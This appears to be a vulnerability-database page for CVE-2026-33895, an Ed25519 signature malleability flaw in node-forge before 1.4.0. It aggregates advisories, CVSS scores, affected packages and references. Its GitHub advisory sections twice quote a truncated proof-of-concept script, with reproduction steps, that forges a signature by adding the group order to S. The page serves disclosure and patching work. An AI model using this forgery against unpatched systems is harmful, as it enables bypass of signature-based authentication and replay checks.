CVE-2026-33895
Forge has signature forgery in Ed25519 due to missing S > L check
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
Forge has signature forgery in Ed25519 due to missing S > L check
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
- Record
CVE-2026-33895- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-16835
7.5
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
- Record
EUVD-2026-16835- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q67f-28xg-22rw
7.5
Forge has signature forgery in Ed25519 due to missing S > L check
Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (
ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
<details><summary>poc.js</summary>
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
//…
- Record
GHSA-q67f-28xg-22rw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
7.5
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
- Record
CVE-2026-33895- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSV
7.5
Forge has signature forgery in Ed25519 due to missing S > L check
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
- Record
CVE-2026-33895- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGHSA-q67f-28xg-22rw
7.5
Forge has signature forgery in Ed25519 due to missing S > L check
Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (
ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
<details><summary>poc.js</summary>
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
//…
- Record
GHSA-q67f-28xg-22rw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
Show 5 moreShow less
OSVRHSA-2026:24761
7.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:24761- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-33895
7.5
CVE-2026-33895 in node-forge - Patched by Root
Root has patched CVE-2026-33895 in the node-forge package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-33895- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-06
OSVUBUNTU-CVE-2026-33895
7.5
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
- Record
UBUNTU-CVE-2026-33895- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1775176134 No score
TuxCare security update for node-forge (4 CVEs)
TuxCare rebuilt node-forge to address 4 CVEs. Fixed in 0.10.0-tuxcare.6.
- Record
CLSA-2026-1775176134- Updated
- 2026-11-02
OSVCLSA-2026-1791467333 No score
TuxCare security update for node-forge (3 CVEs)
TuxCare rebuilt node-forge to address 3 CVEs. Fixed in 1.3.3-tuxcare.2.
- Record
CLSA-2026-1791467333- Updated
- 2026-11-02
Affected products
- digitalbazaar forge
- red hat cluster observability operator 1.5.0
- red hat cryostat 4
- red hat logging subsystem for red hat openshift
- red hat ansible automation platform 2
- red hat ansible automation platform 2.5 for rhel 8
- red hat ansible automation platform 2.5 for rhel 9
- red hat build of apache camel - hawtio 4
- red hat build of apicurio registry 2
- red hat build of podman desktop
- red hat data grid 8
- red hat developer hub 1.8
Affected packages
| Package | Affected | Fixed |
|---|---|---|
node-forgenpm |
before 1.4.0 | 1.4.0 |
node-forgeTuxCare:npm From an advisory covering 4 CVEs |
0.10.0-tuxcare.0 up to 0.10.0-tuxcare.6, plus listed versions 0.10.00.10.0-tuxcare.10.10.0-tuxcare.20.10.0-tuxcare.30.10.0-tuxcare.40.10.0-tuxcare.5 |
0.10.0-tuxcare.6 |
node-forgeTuxCare:npm From an advisory covering 3 CVEs |
1.3.3-tuxcare.0 up to 1.3.3-tuxcare.2, plus listed versions 1.3.31.3.3-tuxcare.1 |
1.3.3-tuxcare.2 |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:2.5.20260422-3.el8ap | 0:2.5.20260422-3.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:2.5.20260422-3.el9ap | 0:2.5.20260422-3.el9ap |
python3.12-clickRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el8ap | 0:8.3.3-1.el8ap |
python3.12-clickRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el8ap | 0:8.3.3-1.el8ap |
python3.12-clickRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el8ap | 0:8.3.3-1.el8ap |
python3.12-clickRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el9ap | 0:8.3.3-1.el9ap |
python3.12-clickRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el9ap | 0:8.3.3-1.el9ap |
Show 23 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python3.12-clickRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:8.3.3-1.el9ap | 0:8.3.3-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:4.6.29-2.el8ap | 0:4.6.29-2.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:4.6.29-2.el9ap | 0:4.6.29-2.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el8ap | 0:1.6.5-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el8ap | 0:1.6.5-1.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:2.5.10-6.el8ap | 0:2.5.10-6.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el8ap | 0:1.6.5-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el9ap | 0:1.6.5-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el9ap | 0:1.6.5-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:2.6.14-3.el9ap | 0:2.6.14-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:1.6.5-1.el9ap | 0:1.6.5-1.el9ap |
python3.12-cryptographyRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el8ap | 0:46.0.7-1.el8ap |
python3.12-cryptographyRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el8ap | 0:46.0.7-1.el8ap |
python3.12-cryptographyRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el8ap | 0:46.0.7-1.el8ap |
python3.12-cryptographyRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el9ap | 0:46.0.7-1.el9ap |
python3.12-cryptographyRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el9ap | 0:46.0.7-1.el9ap |
python3.12-cryptographyRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:46.0.7-1.el9ap | 0:46.0.7-1.el9ap |
python3.12-pillowRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 16 CVEs |
before 0:12.2.0-1.el8ap | 0:12.2.0-1.el8ap |
python3.12-pillowRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 16 CVEs |
before 0:12.2.0-1.el9ap | 0:12.2.0-1.el9ap |
node-forgeRoot:npm |
before 1.3.1-aikido.5 | 1.3.1-aikido.50.10.0-aikido.21.3.3-aikido.30.7.1-aikido.41.3.3-aikido.40.7.6-aikido.10.10.0-aikido.30.7.1-aikido.50.7.1-aikido.60.7.1-aikido.70.7.6-aikido.21.3.0-aikido.31.3.0-aikido.41.3.2-aikido.10.9.0-aikido.11.0.0-aikido.11.3.3-aikido.50.9.0-aikido.20.10.0-aikido.41.3.1-aikido.61.3.3-aikido.61.4.0-aikido.11.4.0-aikido.21.4.0-aikido.31.4.0-aikido.41.4.0-aikido.5 |
@rootio/node-forgeRoot:npm |
before 1.3.3-root.io.1 | 1.3.3-root.io.11.3.3-root.io.21.3.1-root.io.41.3.1-root.io.50.10.0-root.io.20.10.0-root.io.11.3.3-root.io.30.7.1-root.io.41.3.3-root.io.40.7.6-root.io.10.10.0-root.io.30.7.1-root.io.50.7.1-root.io.60.7.1-root.io.70.7.6-root.io.21.3.0-root.io.31.3.0-root.io.41.3.2-root.io.10.9.0-root.io.11.0.0-root.io.11.3.3-root.io.50.9.0-root.io.20.10.0-root.io.41.3.1-root.io.61.3.3-root.io.61.4.0-root.io.11.4.0-root.io.21.4.0-root.io.31.4.0-root.io.41.4.0-root.io.5 |
node-node-forgeUbuntu:20.04:LTS |
All versions, plus listed versions 0.8.5~dfsg-20.9.1~dfsg-1 |
None known |
node-node-forgeUbuntu:22.04:LTS |
All versions, plus listed versions 0.10.0~dfsg-31.2.1~dfsg-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33895 is a high vulnerability (CVSS 7.5) in Digitalbazaar Forge, published March 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in node-forge 1.4.0.
References
github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw
github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85
datatracker.ietf.org/doc/html/rfc8032
access.redhat.com/security/cve/CVE-2026-33895
bugzilla.redhat.com/show_bug.cgi?id=2452457
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33895.json
Show 116 moreShow less
access.redhat.com/errata/RHSA-2026:24761
access.redhat.com/errata/RHSA-2026:34342
access.redhat.com/errata/RHSA-2026:9742
access.redhat.com/errata/RHSA-2026:13826
nvd.nist.gov/vuln/detail/CVE-2022-35961
nvd.nist.gov/vuln/detail/CVE-2026-25793
nvd.nist.gov/vuln/detail/CVE-2026-33895
github.com/advisories/GHSA-q67f-28xg-22rw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33895.json
github.com/digitalbazaar/forge
access.redhat.com/security/updates/classification
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2441268
bugzilla.redhat.com/show_bug.cgi?id=2442922
bugzilla.redhat.com/show_bug.cgi?id=2448553
bugzilla.redhat.com/show_bug.cgi?id=2451867
bugzilla.redhat.com/show_bug.cgi?id=2452450
bugzilla.redhat.com/show_bug.cgi?id=2452458
bugzilla.redhat.com/show_bug.cgi?id=2452464
bugzilla.redhat.com/show_bug.cgi?id=2456179
bugzilla.redhat.com/show_bug.cgi?id=2456336
bugzilla.redhat.com/show_bug.cgi?id=2456338
bugzilla.redhat.com/show_bug.cgi?id=2456339
bugzilla.redhat.com/show_bug.cgi?id=2456735
bugzilla.redhat.com/show_bug.cgi?id=2456913
bugzilla.redhat.com/show_bug.cgi?id=2458856
bugzilla.redhat.com/show_bug.cgi?id=2464121
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24761.json
access.redhat.com/security/cve/CVE-2025-62718
cve.org/CVERecord?id=CVE-2025-62718
nvd.nist.gov/vuln/detail/CVE-2025-62718
datatracker.ietf.org/doc/html/rfc1034
datatracker.ietf.org/doc/html/rfc3986
github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
github.com/axios/axios/pull/10661
github.com/axios/axios/releases/tag/v1.15.0
github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
access.redhat.com/security/cve/CVE-2026-4926
cve.org/CVERecord?id=CVE-2026-4926
nvd.nist.gov/vuln/detail/CVE-2026-4926
cna.openjsf.org/security-advisories.html
access.redhat.com/security/cve/CVE-2026-7246
cve.org/CVERecord?id=CVE-2026-7246
nvd.nist.gov/vuln/detail/CVE-2026-7246
github.com/pallets/click/releases/tag/8.3.3
github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw
access.redhat.com/security/cve/CVE-2026-26996
cve.org/CVERecord?id=CVE-2026-26996
nvd.nist.gov/vuln/detail/CVE-2026-26996
github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5
github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26
access.redhat.com/security/cve/CVE-2026-27904
cve.org/CVERecord?id=CVE-2026-27904
nvd.nist.gov/vuln/detail/CVE-2026-27904
github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74
access.redhat.com/security/cve/CVE-2026-30922
cve.org/CVERecord?id=CVE-2026-30922
nvd.nist.gov/vuln/detail/CVE-2026-30922
github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0
github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r
access.redhat.com/security/cve/CVE-2026-32280
cve.org/CVERecord?id=CVE-2026-32280
nvd.nist.gov/vuln/detail/CVE-2026-32280
go.dev/cl/758320
go.dev/issue/78282
groups.google.com/g/golang-announce/c/0uYbvbPZRWU
pkg.go.dev/vuln/GO-2026-4947
access.redhat.com/security/cve/CVE-2026-32282
cve.org/CVERecord?id=CVE-2026-32282
nvd.nist.gov/vuln/detail/CVE-2026-32282
go.dev/cl/763761
go.dev/issue/78293
pkg.go.dev/vuln/GO-2026-4864
access.redhat.com/security/cve/CVE-2026-32283
cve.org/CVERecord?id=CVE-2026-32283
nvd.nist.gov/vuln/detail/CVE-2026-32283
go.dev/cl/763767
go.dev/issue/78334
pkg.go.dev/vuln/GO-2026-4870
access.redhat.com/security/cve/CVE-2026-33891
cve.org/CVERecord?id=CVE-2026-33891
nvd.nist.gov/vuln/detail/CVE-2026-33891
github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023
github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx
access.redhat.com/security/cve/CVE-2026-33894
cve.org/CVERecord?id=CVE-2026-33894
nvd.nist.gov/vuln/detail/CVE-2026-33894
datatracker.ietf.org/doc/html/rfc2313
github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp
mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE
rfc-editor.org/rfc/rfc8017.html
cve.org/CVERecord?id=CVE-2026-33895
access.redhat.com/security/cve/CVE-2026-33896
cve.org/CVERecord?id=CVE-2026-33896
nvd.nist.gov/vuln/detail/CVE-2026-33896
github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90
github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25
access.redhat.com/security/cve/CVE-2026-39363
cve.org/CVERecord?id=CVE-2026-39363
nvd.nist.gov/vuln/detail/CVE-2026-39363
github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
access.redhat.com/security/cve/CVE-2026-39892
cve.org/CVERecord?id=CVE-2026-39892
nvd.nist.gov/vuln/detail/CVE-2026-39892
openwall.com/lists/oss-security/2026/04/08/12
github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5
github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq
access.redhat.com/security/cve/CVE-2026-40192
cve.org/CVERecord?id=CVE-2026-40192
nvd.nist.gov/vuln/detail/CVE-2026-40192
github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628
github.com/python-pillow/Pillow/pull/9521
github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j
pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html
ubuntu.com/security/CVE-2026-33895
Left out here: the rest of 2 source descriptions. The JSON record has them.